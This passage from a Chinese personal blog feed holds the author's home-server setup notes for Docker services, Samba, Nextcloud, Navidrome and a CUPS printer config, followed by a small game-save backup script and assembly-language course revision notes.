href="https://picpo.top/2022/01/18/%E5%9C%A8linux%E5%B9%B3%E5%8F%B0%E4%B8%8A%E6%90%AD%E5%BB%BA%E6%B1%82%E7%94%9F%E4%B9%8B%E8%B7%AF%E6%9C%8D%E5%8A%A1%E5%99%A8/">在linux平台上搭建求生之路服务器</a>里。要注意的是,SteamCMD似乎是能被MCSManager原生识别的,但是其权限问题错综复杂无法访问到一些文件,本人水平不够没有细究(懒),所以就ssh后screen运维拉到。</p><p>服务器上跑了求生之路和饥荒的服务器,很可惜这两个游戏都原生不支持ipv6,但还好我本身就有公网v4😋。</p><h2 id="0x04运维组件"><a href="#0x04运维组件" class="headerlink" title="0x04运维组件"></a>0x04运维组件</h2><p>SSH和Linux谁都会,但这些繁琐的操作都是可以避免的。</p><h3 id="1-DDNS-GO"><a href="#1-DDNS-GO" class="headerlink" title="1.DDNS-GO"></a>1.DDNS-GO</h3><p>官方网址:<a href="https://github.com/jeessy2/ddns-go">https://github.com/jeessy2/ddns-go</a></p><p>这是一个用go写的ddns,且不说我的v4很有可能是动态的,ipv6可是每两天就变化一次的,所以有个ddns服务非常有必要。</p><p>我的安装方式:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -d --name ddns-go --restart=always --net=host -v /opt/ddns-go:/root jeessy/ddns-go</span><br></pre></td></tr></table></figure><h3 id="2-性能监控-运维Cockpit"><a href="#2-性能监控-运维Cockpit" class="headerlink" title="2.性能监控&运维Cockpit"></a>2.性能监控&运维Cockpit</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202301151939945.webp"></p><p>这个是Fedora Server自带的面板,作为debian系的Ubuntu肯定也能装:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt install cockpit -y</span><br></pre></td></tr></table></figure><p>多的不说,光Storage能帮你格式化、分区、组软RAID就已经很好了。界面很素,但是很好用。</p><p>安全性有自签名证书,不放心可以搞个其他的。</p><h3 id="3-Portainer"><a href="#3-Portainer" class="headerlink" title="3.Portainer"></a>3.Portainer</h3><p>Deploy, configure, troubleshoot and secure containers in minutes on Kubernetes, Docker, Swarm and Nomad in any data center, cloud, network edge or IIOT device. </p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202301151945605.webp"></p><p>官方网址:<a href="https://www.portainer.io/">https://www.portainer.io/</a></p><p>这个没啥好说,管理docker容器的。我有太多服务是依赖docker快速启动的了。</p><p>我的安装方式:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">docker pull portainer/portainer:latest</span><br><span class="line"></span><br><span class="line">docker run -d --net=host --restart=unless-stopped -v /var/run/docker.sock:/var/run/docker.sock -v /data/portainer_data:/data portainer/portainer:1.23.2</span><br></pre></td></tr></table></figure><h2 id="0x05其他服务"><a href="#0x05其他服务" class="headerlink" title="0x05其他服务"></a>0x05其他服务</h2><h3 id="1-transmission-daemon"><a href="#1-transmission-daemon" class="headerlink" title="1.transmission-daemon"></a>1.transmission-daemon</h3><p>磁力下载工具,主要用来刷pt。</p><p>我的安装方式:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install transmission-daemon</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>原版界面太素,信息不够详尽,推荐用这个改善:</p><p><a href="https://github.com/ronggang/transmission-web-control">https://github.com/ronggang/transmission-web-control</a></p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202301151954452.png"></p><h3 id="2-LibreSpeed"><a href="#2-LibreSpeed" class="headerlink" title="2.LibreSpeed"></a>2.LibreSpeed</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202302041435726.png"></p><p>测速服务器。官方网址:<a href="https://github.com/librespeed/speedtest-go">https://github.com/librespeed/speedtest-go</a></p><p>我的安装方式:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">docker pull badapple9/speedtest-x</span><br><span class="line"></span><br><span class="line">docker run -d --restart=always --name speedtest -p 9001:80 -it badapple9/speedtest-x</span><br></pre></td></tr></table></figure><h3 id="3-Samba服务"><a href="#3-Samba服务" class="headerlink" title="3.Samba服务"></a>3.Samba服务</h3><p>单纯当Nas用的服务</p><p>我的安装方式:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt-get install samba samba-common</span><br></pre></td></tr></table></figure><p>配置文件:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> nano /etc/samba/smb.conf</span><br><span class="line"></span><br><span class="line">//更多配置字段请查阅Google</span><br><span class="line"></span><br><span class="line">[share]</span><br><span class="line">comment = share folder</span><br><span class="line">browseable = <span class="built_in">yes</span></span><br><span class="line">path = /home/frank/share</span><br><span class="line">create mask = 0700</span><br><span class="line">directory mask = 0700=</span><br><span class="line">public = <span class="built_in">yes</span></span><br><span class="line">available = <span class="built_in">yes</span></span><br><span class="line">writable = <span class="built_in">yes</span></span><br></pre></td></tr></table></figure><p>重启服务:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo service smbd restart</span><br></pre></td></tr></table></figure><p>推荐给samba新创建一个用户,而不是root和本机用户。</p><h3 id="4-Nextcloud网盘"><a href="#4-Nextcloud网盘" class="headerlink" title="4.Nextcloud网盘"></a>4.Nextcloud网盘</h3><p>The most popular self-hosted collaboration solution for tens of millions of users at thousands of organizations across the globe</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202301152005332.webp"></p><p>官方网址:<a href="https://nextcloud.com/">https://nextcloud.com/</a></p><p>我的安装方式是docker而不是官网推荐的docker-compose,因为docker-compose出现了权限读取问题,没解决成功。推荐自己去官网看docker-compose.yml。</p><p>挺好用的,每个平台都有客户端,主要用来同步手机照片和其他文件,当网盘用。</p><h3 id="5-Navidrome私有音乐服务"><a href="#5-Navidrome私有音乐服务" class="headerlink" title="5.Navidrome私有音乐服务"></a>5.Navidrome私有音乐服务</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202302041438738.png"></p><p>受不了各大音乐平台的版权壁垒了,官方网址:<a href="https://www.navidrome.org/">https://www.navidrome.org/</a></p><ul><li>几乎可以播放任何音频格式</li><li>多用户,每个用户都有自己的播放次数、播放列表、收藏夹等。</li><li>资源使用率非常低。例如:300GB的资料库(约29000首歌曲),使用不到50MB的内存。</li><li>界面简洁,支持中文。</li><li>支持Subsonic API,也就是说Subsonic能用的客户端,Navidrome都能用。</li></ul><p>唯一的问题就是歌词显示有问题,似乎放到目录里也显示无歌词。</p><p>我的docker-compose.yml:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">version:</span> <span class="string">"3"</span></span><br><span class="line"><span class="attr">services:</span></span><br><span class="line"> <span class="attr">navidrome:</span></span><br><span class="line"> <span class="attr">container_name:</span> <span class="string">navidrome</span></span><br><span class="line"> <span class="attr">image:</span> <span class="string">deluan/navidrome:latest</span></span><br><span class="line"> <span class="attr">user:</span> <span class="number">0</span><span class="string">:0</span> <span class="comment">#0:0代表用root用户运行</span></span><br><span class="line"> <span class="attr">ports:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">"4533:4533"</span></span><br><span class="line"> <span class="attr">restart:</span> <span class="string">unless-stopped</span></span><br><span class="line"> <span class="attr">environment:</span></span><br><span class="line"> <span class="comment"># Optional: put your config options customization here. Examples:</span></span><br><span class="line"> <span class="attr">ND_SCANSCHEDULE:</span> <span class="string">1h</span></span><br><span class="line"> <span class="attr">ND_LOGLEVEL:</span> <span class="string">info</span> </span><br><span class="line"> <span class="attr">ND_SESSIONTIMEOUT:</span> <span class="string">24h</span></span><br><span class="line"> <span class="attr">ND_BASEURL:</span> <span class="string">""</span></span><br><span class="line"> <span class="attr">ND_ENABLETRANSCODINGCONFIG:</span> <span class="string">"true"</span></span><br><span class="line"> <span class="attr">ND_TRANSCODINGCACHESIZE:</span> <span class="string">"4000M"</span></span><br><span class="line"> <span class="attr">ND_IMAGECACHESIZE:</span> <span class="string">"1000M"</span></span><br><span class="line"> <span class="attr">volumes:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">"/mnt/WDC/navidrome/data:/data"</span> <span class="string">//数据文件</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">"/mnt/WDC/navidrome/media:/music:ro"</span> <span class="string">//媒体文件</span></span><br></pre></td></tr></table></figure><p>以下是支持的客户端:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">iOS: play:Sub, substreamer, Amperfy, iSub</span><br><span class="line">Android: DSub, Subtracks, subreamer, Ultrasonic, Audinaut</span><br><span class="line">网页端: Subplayer, Airsonic Refix, Aurial, Jamstash, Subfire</span><br><span class="line">桌面端: Sublime Music(Linux)和Sonixd(Windows/Linux/MacOS)</span><br><span class="line">命令行: Jellycli(Windows/Linux)和STMP(Linux/MacOS)</span><br></pre></td></tr></table></figure><h3 id="6-CUPS网络打印机"><a href="#6-CUPS网络打印机" class="headerlink" title="6.CUPS网络打印机"></a>6.CUPS网络打印机</h3><p>安装:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install cups</span><br></pre></td></tr></table></figure><p>备份文件:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo cp /etc/cups/cupsd.conf /etc/cups/cupsd.conf.bak</span><br></pre></td></tr></table></figure><p>我的配置文档,仅供参考:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br></pre></td><td class="code"><pre><span class="line">LogLevel warn</span><br><span class="line">PageLogFormat</span><br><span class="line">MaxLogSize 0</span><br><span class="line">ErrorPolicy retry-job</span><br><span class="line">//listen需要将localhost改为0.0.0.0,记得防火墙弄好</span><br><span class="line"># Allow remote access</span><br><span class="line">Port 631</span><br><span class="line">Listen /run/cups/cups.sock</span><br><span class="line"># Share local printers on the local network.</span><br><span class="line">Browsing On</span><br><span class="line">BrowseLocalProtocols dnssd</span><br><span class="line">DefaultAuthType Basic</span><br><span class="line">WebInterface Yes</span><br><span class="line">IdleExitTimeout 60</span><br><span class="line"></span><br><span class="line">//这块地方需要修改成这样,否则forbidden</span><br><span class="line"><Location /></span><br><span class="line"> # Allow shared printing...</span><br><span class="line"> Order allow,deny</span><br><span class="line"> Allow all</span><br><span class="line"></Location></span><br><span class="line"><Location /admin></span><br><span class="line"> AuthType Default</span><br><span class="line"> Require valid-user</span><br><span class="line"></Location></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><Location /admin/conf></span><br><span class="line"> AuthType Default</span><br><span class="line"> Require user @SYSTEM</span><br><span class="line"></Location></span><br><span class="line"><Location /admin/log></span><br><span class="line"> AuthType Default</span><br><span class="line"> Require user @SYSTEM</span><br><span class="line"></Location></span><br><span class="line"><Policy default></span><br><span class="line"> JobPrivateAccess default</span><br><span class="line"> JobPrivateValues default</span><br><span class="line"> SubscriptionPrivateAccess default</span><br><span class="line"> SubscriptionPrivateValues default</span><br><span class="line"> <Limit Create-Job Print-Job Print-URI Validate-Job></span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"> <Limit Send-Document Send-URI Hold-Job Release-Job Restart-Job Purge-Jobs Set-Job-Attributes Create-Job-Subscription Renew-Subscription Cancel-Subscription Get-Notifications Reprocess-Job Cancel-Current-Job Suspend-Current-Job Resume-Job Cancel-My-Jobs Close-Job CUPS-Move-Job CUPS-Get-Document></span><br><span class="line"> Require user @OWNER @SYSTEM</span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"> <Limit CUPS-Add-Modify-Printer CUPS-Delete-Printer CUPS-Add-Modify-Class CUPS-Delete-Class CUPS-Set-Default CUPS-Get-Devices></span><br><span class="line"> AuthType Default</span><br><span class="line"> Require user @SYSTEM</span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"> <Limit Pause-Printer Resume-Printer Enable-Printer Disable-Printer Pause-Printer-After-Current-Job Hold-New-Jobs Release-Held-New-Jobs Deactivate-Printer Activate-Printer Restart-Printer Shutdown-Printer Startup-Printer Promote-Job Schedule-Job-After Cancel-Jobs CUPS-Accept-Jobs CUPS-Reject-Jobs></span><br><span class="line"> AuthType Default</span><br><span class="line"> Require user @SYSTEM</span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"> <Limit Cancel-Job CUPS-Authenticate-Job></span><br><span class="line"> Require user @OWNER @SYSTEM</span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"> <Limit All></span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"></Policy></span><br><span class="line"><Policy authenticated></span><br><span class="line"> JobPrivateAccess default</span><br><span class="line"> JobPrivateValues default</span><br><span class="line"> SubscriptionPrivateAccess default</span><br><span class="line"> SubscriptionPrivateValues default</span><br><span class="line"> <Limit Create-Job Print-Job Print-URI Validate-Job></span><br><span class="line"> AuthType Default</span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"> <Limit Send-Document Send-URI Hold-Job Release-Job Restart-Job Purge-Jobs Set-Job-Attributes Create-Job-Subscription Renew-Subscription Cancel-Subscription Get-Notifications Reprocess-Job Cancel-Current-Job Suspend-Current-Job Resume-Job Cancel-My-Jobs Close-Job CUPS-Move-Job CUPS-Get-Document></span><br><span class="line"> AuthType Default</span><br><span class="line"> Require user @OWNER @SYSTEM</span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"> <Limit CUPS-Add-Modify-Printer CUPS-Delete-Printer CUPS-Add-Modify-Class CUPS-Delete-Class CUPS-Set-Default></span><br><span class="line"> AuthType Default</span><br><span class="line"> Require user @SYSTEM</span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"> <Limit Pause-Printer Resume-Printer Enable-Printer Disable-Printer Pause-Printer-After-Current-Job Hold-New-Jobs Release-Held-New-Jobs Deactivate-Printer Activate-Printer Restart-Printer Shutdown-Printer Startup-Printer Promote-Job Schedule-Job-After Cancel-Jobs CUPS-Accept-Jobs CUPS-Reject-Jobs></span><br><span class="line"> AuthType Default</span><br><span class="line"> Require user @SYSTEM</span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"> <Limit Cancel-Job CUPS-Authenticate-Job></span><br><span class="line"> AuthType Default</span><br><span class="line"> Require user @OWNER @SYSTEM</span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"> <Limit All></span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"></Policy></span><br><span class="line"><Policy kerberos></span><br><span class="line"> JobPrivateAccess default</span><br><span class="line"> JobPrivateValues default</span><br><span class="line"> SubscriptionPrivateAccess default</span><br><span class="line"> SubscriptionPrivateValues default</span><br><span class="line"> <Limit Create-Job Print-Job Print-URI Validate-Job></span><br><span class="line"> AuthType Negotiate</span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"> <Limit Send-Document Send-URI Hold-Job Release-Job Restart-Job Purge-Jobs Set-Job-Attributes Create-Job-Subscription Renew-Subscription Cancel-Subscription Get-Notifications Reprocess-Job Cancel-Current-Job Suspend-Current-Job Resume-Job Cancel-My-Jobs Close-Job CUPS-Move-Job CUPS-Get-Document></span><br><span class="line"> AuthType Negotiate</span><br><span class="line"> Require user @OWNER @SYSTEM</span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"> <Limit CUPS-Add-Modify-Printer CUPS-Delete-Printer CUPS-Add-Modify-Class CUPS-Delete-Class CUPS-Set-Default></span><br><span class="line"> AuthType Default</span><br><span class="line"> Require user @SYSTEM</span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"> <Limit Pause-Printer Resume-Printer Enable-Printer Disable-Printer Pause-Printer-After-Current-Job Hold-New-Jobs Release-Held-New-Jobs Deactivate-Printer Activate-Printer Restart-Printer Shutdown-Printer Startup-Printer Promote-Job Schedule-Job-After Cancel-Jobs CUPS-Accept-Jobs CUPS-Reject-Jobs></span><br><span class="line"> AuthType Default</span><br><span class="line"> Require user @SYSTEM</span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"> <Limit Cancel-Job CUPS-Authenticate-Job></span><br><span class="line"> AuthType Negotiate</span><br><span class="line"> Require user @OWNER @SYSTEM</span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"> <Limit All></span><br><span class="line"> Order deny,allow</span><br><span class="line"> </Limit></span><br><span class="line"></Policy></span><br></pre></td></tr></table></figure><p>重启:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo service cups restart</span><br></pre></td></tr></table></figure><p>然后输入内网IP:631进入管理页面并登陆</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202302041448968.png"></p><p>选择usb的打印机即可,其他选项看自己,驱动需要选择对应的,别忘了开启share选项(包括截图页面的)</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202302041450041.png"></p><p>测试一下,打印成功</p>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> linux </tag>
<tag> ubuntu </tag>
<tag> Docker </tag>
<tag> NAS </tag>
</tags>
</entry>
<entry>
<title>shell备份脚本</title>
<link href="/2023/01/13/shell%E5%A4%87%E4%BB%BD%E8%84%9A%E6%9C%AC/"/>
<url>/2023/01/13/shell%E5%A4%87%E4%BB%BD%E8%84%9A%E6%9C%AC/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202301132338163.png"></p><p>写了个shell的备份脚本,自带删除过早存档的功能。</p><p>本意是为饥荒服务器写的,虽然饥荒自带回档,但是人物数据、token以及mod配置没被备份。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">! /bin/bash</span></span><br><span class="line">today=`date +%Y%m%d%H%M`</span><br><span class="line">tar -czvf /mnt/WDC/dst_backup/$today.tar.gz /home/picpo/.klei/DoNotStarveTogether/Cluster_1</span><br><span class="line">find /mnt/WDC/dst_backup/ -type f -mtime +1 -exec rm -f {} \; #自动删除+1是两天之前的存档</span><br><span class="line">echo "backup!$today"</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> linux </tag>
<tag> shell </tag>
</tags>
</entry>
<entry>
<title>《汇编语言程序设计》求生指南</title>
<link href="/2022/11/14/%E3%80%8A%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1%E3%80%8B%E6%B1%82%E7%94%9F%E6%8C%87%E5%8D%97/"/>
<url>/2022/11/14/%E3%80%8A%E6%B1%87%E7%BC%96%E8%AF%AD%E8%A8%80%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1%E3%80%8B%E6%B1%82%E7%94%9F%E6%8C%87%E5%8D%97/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/%E5%9B%BE%E7%89%87-300x181.png"></p><h2 id="第一章"><a href="#第一章" class="headerlink" title="第一章"></a>第一章</h2><ol><li>BCD码转换<br>1010—1111是非法BCD码</li><li>真值数和补码数之间的转换<br>正数的补码等于本身,负数的补码等于反码+1</li><li>n位字长的有符号数、无符号数的数值范围<br>设机器数字长=n, 则n位补码数<br>其真值范围为 -2n-1 ~ +2n-1-1<br>无符号数其数值范围为 0 ~ 2n-1</li><li>常用ASCII码范围:<br>0:48<br>A:65<br>a:97<br>(space):32<br>(回车):13</li><li>C标表示进位,O标表示溢出</li><li>冯诺依曼架构:<strong>运算器、控制器、存储器、输入、输出</strong><br>CPU:运算器和控制器</li></ol><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/image.png"></p><h2 id="第二章"><a href="#第二章" class="headerlink" title="第二章"></a>第二章</h2><ol><li>基本结构寄存器的名称、位长和作用<br>通用寄存器: AX, BX, CX, DX, SI(源变址), DI(目的变址), BP(基址指针)<br>段寄存器: CS, SS, DS, ES, FS, GS<br>指针寄存器: IP(指令指针), SP(堆栈指针)<br>标志寄存器: FLAGS<br>15位标志分为两类: 状态标志和控制标志<br>6种状态标志:CF(进位) OF(溢出) ZF(全零) PF(最后一字节1为偶数为1) AF(辅助进位标志) SF(记录最高位的位值)</li><li>80486的工作模式:实地址模式和保护虚拟地址模式<br>80486的三个存贮地址空间:逻辑空间、线性空间和物理空间<br>逻辑地址:即逻辑上的地址,实模式下由“段基地址+段内偏移”组成;保护模式下由“段选择符+段内偏移”组成。<br>线性地址:逻辑地址经分段机制后就成线性地址,它是平坦的;如果不启用分页,那么此线性地址即物理地址。<br>物理地址:线性地址经分页转换后就成了物理地址。<br><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/image-1.png"></li><li>实地址模式下,物理地址的形成<br><strong>物理地址=段基址*16+偏移地址</strong><br><strong>内存容量=末地址-首地址+1</strong><br><strong>末地址=首地址+(字数-1)*2 末地址</strong></li></ol><h2 id="第三章"><a href="#第三章" class="headerlink" title="第三章"></a>第三章</h2><ol><li><p>源程序中的语句类型<br>一个完整的源程序应包含2类语句:<br>指令性语句(符号指令)、指示性语句(伪指令)</p></li><li><p>80486的寻址方式486有3类7种寻址方式<br>立即寻址方式:获得立即数<br>寄存器寻址方式:获得寄存器操作数<br>存储器操作数寻址方式:获得存储器操作数(内存操作数)</p></li><li><p>内存寻址方式 16位寻址规定可使用的寄存器<br>直接寻址<br>寄存器间接寻址 [BX],[BP],[SI],[DI]。段寄存器:[间址寄存器],某单元的物理地址=段寄存器内容×16+间址寄存器<br>基址寻址 [BX+位移量],[BP+位移量]。段寄存器:[基址寄存器+位移量]。物理地址=段寄存器内容×16+基址寄存器+位移量<br>变址寻址 [SI+位移量],[DI+位移量]。<br>基址+变址寻址 [BX+SI],[BX+DI],[BP+SI],[BP+DI]</p></li><li><p>常用伪指令<br>数据字义伪指令 DB DW DD(一字节二字节四字节)<br>等值伪指令 EQU =</p></li><li><p>常用运算符<br>$运算符:当前汇编计数器的值。通常$-地址,可以求长度<br>SEG运算符:获取段的基地址,SEG DATA<br>OFFSET运算符:相对于段首的基地址<br>PTR运算符:修改属性<br><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/image-2.png"></p></li><li><p>目标程序的生成<br><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/1668425716_POWERPNT_1065x313.png"></p></li><li><p>16进制数加法及标志位的影响<br><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/1668425885_POWERPNT_1101x202.png">80486基本指令集<br><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/1668426216_POWERPNT_1132x505.png"> </p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/1668426445_POWERPNT_1002x554.png"> </p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/1668426487_POWERPNT_1014x818.png"></p></li></ol><h2 id="第四章"><a href="#第四章" class="headerlink" title="第四章"></a>第四章</h2><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/image-3-1024x461.png"></p>]]></content>
<categories>
<category> 我爱学习 </category>
</categories>
<tags>
<tag> 求生指南 </tag>
</tags>
</entry>
<entry>
<title>《毛泽东思想和中国特色社会主义理论体系概论》求生指南</title>
<link href="/2022/11/06/%E3%80%8A%E6%AF%9B%E6%B3%BD%E4%B8%9C%E6%80%9D%E6%83%B3%E5%92%8C%E4%B8%AD%E5%9B%BD%E7%89%B9%E8%89%B2%E7%A4%BE%E4%BC%9A%E4%B8%BB%E4%B9%89%E7%90%86%E8%AE%BA%E4%BD%93%E7%B3%BB%E6%A6%82%E8%AE%BA%E3%80%8B/"/>
<url>/2022/11/06/%E3%80%8A%E6%AF%9B%E6%B3%BD%E4%B8%9C%E6%80%9D%E6%83%B3%E5%92%8C%E4%B8%AD%E5%9B%BD%E7%89%B9%E8%89%B2%E7%A4%BE%E4%BC%9A%E4%B8%BB%E4%B9%89%E7%90%86%E8%AE%BA%E4%BD%93%E7%B3%BB%E6%A6%82%E8%AE%BA%E3%80%8B/</url>
